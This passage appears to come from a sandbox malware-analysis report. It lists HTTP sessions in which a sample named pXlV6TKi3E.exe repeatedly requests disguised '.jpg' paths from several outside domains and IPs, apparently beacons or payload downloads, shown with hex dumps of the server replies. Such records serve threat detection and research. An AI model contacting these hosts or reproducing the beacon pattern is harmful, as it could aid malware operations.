                                            Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                            Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            19192.168.2.34971237.230.104.8980C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            Apr 11, 2023 14:07:43.210686922 CEST177OUTGET /images/xs2.jpg?2c3ef52=185580872 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Host: ampyazilim.com.tr
                                            Cache-Control: no-cache
                                            Apr 11, 2023 14:07:43.256647110 CEST178INHTTP/1.1 302 Found
                                            Connection: Keep-Alive
                                            Keep-Alive: timeout=5, max=100
                                            content-type: text/html
                                            content-length: 683
                                            date: Tue, 11 Apr 2023 12:07:43 GMT
                                            cache-control: no-cache, no-store, must-revalidate, max-age=0
                                            location: https://ampyazilim.com.tr/images/xs2.jpg?2c3ef52=185580872
                                            Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 32 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 33 30 32 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                            Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 302 Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">302</h1><h2 style="margin-top:20px;font-size: 30px;">Found</h2><p>The document has been temporarily moved.</p></div></div></body></html>


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            2192.168.2.34971337.230.104.89443C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            20192.168.2.349715206.191.152.5880C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            Apr 11, 2023 14:07:45.241975069 CEST184OUTGET /images/xs.jpg?37fb479=234803684 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Host: www.careerdesk.org
                                            Cache-Control: no-cache
                                            Cookie: snkz=84.17.52.42; btst=3f9765068c817d4b88adc0603b41cd0d|84.17.52.42|1681214860|1681214849|5|2|0
                                            Apr 11, 2023 14:07:45.483794928 CEST185INHTTP/1.1 200 OK
                                            Server: nginx
                                            Date: Tue, 11 Apr 2023 12:07:45 GMT
                                            Content-Type: text/html
                                            Transfer-Encoding: chunked
                                            Connection: close
                                            Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                            Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                            Set-Cookie: btst=3f9765068c817d4b88adc0603b41cd0d|84.17.52.42|1681214865|1681214849|5|3|0; path=/; domain=.careerdesk.org; Expires=Thu,
                                            Data Raw:
                                            Data Ascii:
                                            Apr 11, 2023 14:07:45.483814955 CEST185INData Raw: 31 35 20 41 70 72 20 32 30 32 37 20 30 30 3a 30 30 3a 30 30 20 47 4d 54 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 3b 0d 0a 0d 0a 30 0d 0a 0d 0a
                                            Data Ascii: 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;0


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            21192.168.2.34971663.251.106.2580C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            Apr 11, 2023 14:07:46.157639027 CEST186OUTGET /xs.jpg?3b0704e=495157872 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Host: arthur.niria.biz
                                            Cache-Control: no-cache
                                            Cookie: snkz=84.17.52.42; btst=15b0c5507b7130e2a8ffd19ee799140b|84.17.52.42|1681214861|1681214850|5|2|0
                                            Apr 11, 2023 14:07:46.328008890 CEST187INHTTP/1.1 200 OK
                                            Server: nginx
                                            Date: Tue, 11 Apr 2023 12:07:46 GMT
                                            Content-Type: text/html
                                            Transfer-Encoding: chunked
                                            Connection: close
                                            Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                            Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                            Set-Cookie: btst=15b0c5507b7130e2a8ffd19ee799140b|84.17.52.42|1681214866|1681214850|5|3|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2
                                            Data Raw:
                                            Data Ascii:
                                            Apr 11, 2023 14:07:46.328031063 CEST187INData Raw: 32 37 20 30 30 3a 30 30 3a 30 30 20 47 4d 54 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 3b 0d 0a 0d 0a 30 0d 0a 0d 0a
                                            Data Ascii: 27 00:00:00 GMT; HttpOnly; SameSite=Lax;0


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            22192.168.2.349717206.189.61.12680C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            Apr 11, 2023 14:07:46.475492001 CEST188OUTGET /xs.jpg?3f44720=597065760 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Host: amsamex.com
                                            Cache-Control: no-cache
                                            Cookie: jsessionid=3454f43bfac9f962abac9ad80f8d1e8b
                                            Apr 11, 2023 14:07:46.508183956 CEST188INHTTP/1.1 200 OK
                                            Connection: close
                                            Date: Tue, 11 Apr 2023 12:07:46 GMT
                                            Content-Length: 0
                                            Content-Type: text/plain; charset=utf-8


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            23192.168.2.34971863.251.106.2580C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            Apr 11, 2023 14:07:47.245790005 CEST189OUTGET /images/xs.jpg?416832a=548673872 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Host: apple-pie.in
                                            Cache-Control: no-cache
                                            Cookie: btst=5b6a4db865e693d1f584ee17785ddccf|84.17.52.42|1681214862|1681214851|5|2|0; snkz=84.17.52.42
                                            Apr 11, 2023 14:07:47.415829897 CEST189INHTTP/1.1 200 OK
                                            Server: nginx
                                            Date: Tue, 11 Apr 2023 12:07:47 GMT
                                            Content-Type: text/html
                                            Transfer-Encoding: chunked
                                            Connection: close
                                            Set-Cookie: btst=5b6a4db865e693d1f584ee17785ddccf|84.17.52.42|1681214867|1681214851|5|3|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                            Data Raw: 30 0d 0a 0d 0a
                                            Data Ascii: 0


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            24192.168.2.34971978.46.2.15580C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            Apr 11, 2023 14:07:47.552319050 CEST190OUTGET /xs.jpg?44c7885=504843171 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Host: ahmediye.net
                                            Cache-Control: no-cache
                                            Apr 11, 2023 14:07:47.573569059 CEST191INHTTP/1.1 404 Not Found
                                            Date: Tue, 11 Apr 2023 12:07:47 GMT
                                            Server: Apache
                                            Content-Length: 258
                                            Content-Type: text/html; charset=iso-8859-1
                                            Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                            Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            25192.168.2.34972037.230.104.8980C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            Apr 11, 2023 14:07:48.006948948 CEST192OUTGET /images/xs2.jpg?46e717b=520428125 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Host: ampyazilim.com.tr
                                            Cache-Control: no-cache
                                            Apr 11, 2023 14:07:48.063426018 CEST193INHTTP/1.1 302 Found
                                            Connection: Keep-Alive
                                            Keep-Alive: timeout=5, max=100
                                            content-type: text/html
                                            content-length: 683
                                            date: Tue, 11 Apr 2023 12:07:48 GMT
                                            cache-control: no-cache, no-store, must-revalidate, max-age=0
                                            location: https://ampyazilim.com.tr/images/xs2.jpg?46e717b=520428125
                                            Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 32 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 33 30 32 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                            Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 302 Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">302</h1><h2 style="margin-top:20px;font-size: 30px;">Found</h2><p>The document has been temporarily moved.</p></div></div></body></html>


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            26192.168.2.349723206.191.152.5880C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            Apr 11, 2023 14:07:50.093808889 CEST199OUTGET /images/xs.jpg?56961d6=181584812 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Host: www.careerdesk.org
                                            Cache-Control: no-cache
                                            Cookie: snkz=84.17.52.42; btst=3f9765068c817d4b88adc0603b41cd0d|84.17.52.42|1681214865|1681214849|5|3|0
                                            Apr 11, 2023 14:07:50.335108995 CEST200INHTTP/1.1 200 OK
                                            Server: nginx
                                            Date: Tue, 11 Apr 2023 12:07:50 GMT
                                            Content-Type: text/html
                                            Transfer-Encoding: chunked
                                            Connection: close
                                            Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                            Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                            Set-Cookie: btst=3f9765068c817d4b88adc0603b41cd0d|84.17.52.42|1681214870|1681214849|5|4|0; path=/; domain=.careerdesk.org; Expires=Thu,
                                            Data Raw:
                                            Data Ascii:
                                            Apr 11, 2023 14:07:50.335128069 CEST200INData Raw: 31 35 20 41 70 72 20 32 30 32 37 20 30 30 3a 30 30 3a 30 30 20 47 4d 54 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 3b 0d 0a 0d 0a 30 0d 0a 0d 0a
                                            Data Ascii: 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;0


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            27192.168.2.34972463.251.106.2580C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            Apr 11, 2023 14:07:50.645695925 CEST201OUTGET /xs.jpg?59f0920=471543200 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Host: arthur.niria.biz
                                            Cache-Control: no-cache
                                            Cookie: snkz=84.17.52.42; btst=15b0c5507b7130e2a8ffd19ee799140b|84.17.52.42|1681214866|1681214850|5|3|0
                                            Apr 11, 2023 14:07:50.815444946 CEST202INHTTP/1.1 200 OK
                                            Server: nginx
                                            Date: Tue, 11 Apr 2023 12:07:50 GMT
                                            Content-Type: text/html
                                            Transfer-Encoding: chunked
                                            Connection: close
                                            Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                            Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                            Set-Cookie: btst=15b0c5507b7130e2a8ffd19ee799140b|84.17.52.42|1681214870|1681214850|4|4|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2
                                            Data Raw:
                                            Data Ascii:
                                            Apr 11, 2023 14:07:50.815462112 CEST202INData Raw: 32 37 20 30 30 3a 30 30 3a 30 30 20 47 4d 54 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 3b 0d 0a 0d 0a 30 0d 0a 0d 0a
                                            Data Ascii: 27 00:00:00 GMT; HttpOnly; SameSite=Lax;0


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            28192.168.2.349725206.189.61.12680C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            Apr 11, 2023 14:07:50.964219093 CEST202OUTGET /xs.jpg?5cf74e1=779855624 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Host: amsamex.com
                                            Cache-Control: no-cache
                                            Cookie: jsessionid=3454f43bfac9f962abac9ad80f8d1e8b
                                            Apr 11, 2023 14:07:50.998847008 CEST203INHTTP/1.1 200 OK
                                            Connection: close
                                            Date: Tue, 11 Apr 2023 12:07:50 GMT
                                            Content-Length: 0
                                            Content-Type: text/plain; charset=utf-8


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            29192.168.2.34972663.251.106.2580C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            Apr 11, 2023 14:07:51.294251919 CEST204OUTGET /images/xs.jpg?5f16d79=498541405 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Host: apple-pie.in
                                            Cache-Control: no-cache
                                            Cookie: btst=5b6a4db865e693d1f584ee17785ddccf|84.17.52.42|1681214867|1681214851|5|3|0; snkz=84.17.52.42
                                            Apr 11, 2023 14:07:51.464525938 CEST204INHTTP/1.1 200 OK
                                            Server: nginx
                                            Date: Tue, 11 Apr 2023 12:07:51 GMT
                                            Content-Type: text/html
                                            Transfer-Encoding: chunked
                                            Connection: close
                                            Set-Cookie: btst=5b6a4db865e693d1f584ee17785ddccf|84.17.52.42|1681214871|1681214851|4|4|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                            Data Raw: 30 0d 0a 0d 0a
                                            Data Ascii: 0


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            3192.168.2.34971437.230.104.89443C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            30192.168.2.34972778.46.2.15580C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            Apr 11, 2023 14:07:51.529650927 CEST205OUTGET /xs.jpg?6273be3=929110779 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Host: ahmediye.net
                                            Cache-Control: no-cache
                                            Apr 11, 2023 14:07:51.550765991 CEST206INHTTP/1.1 404 Not Found
                                            Date: Tue, 11 Apr 2023 12:07:51 GMT
                                            Server: Apache
                                            Content-Length: 258
                                            Content-Type: text/html; charset=iso-8859-1
                                            Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                            Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                            31192.168.2.34972837.230.104.8980C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            TimestampkBytes transferredDirectionData
                                            Apr 11, 2023 14:07:51.949311018 CEST207OUTGET /images/xs2.jpg?657d9df=425682812 HTTP/1.1
                                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                            Host: ampyazilim.com.tr
                                            Cache-Control: no-cache
                                            Apr 11, 2023 14:07:51.996941090 CEST208INHTTP/1.1 302 Found
                                            Connection: Keep-Alive
                                            Keep-Alive: timeout=5, max=100
                                            content-type: text/html
                                            content-length: 683
                                            date: Tue, 11 Apr 2023 12:07:51 GMT
                                            cache-control: no-cache, no-store, must-revalidate, max-age=0
                                            location: https://ampyazilim.com.tr/images/xs2.jpg?657d9df=425682812
                                            Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 32 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 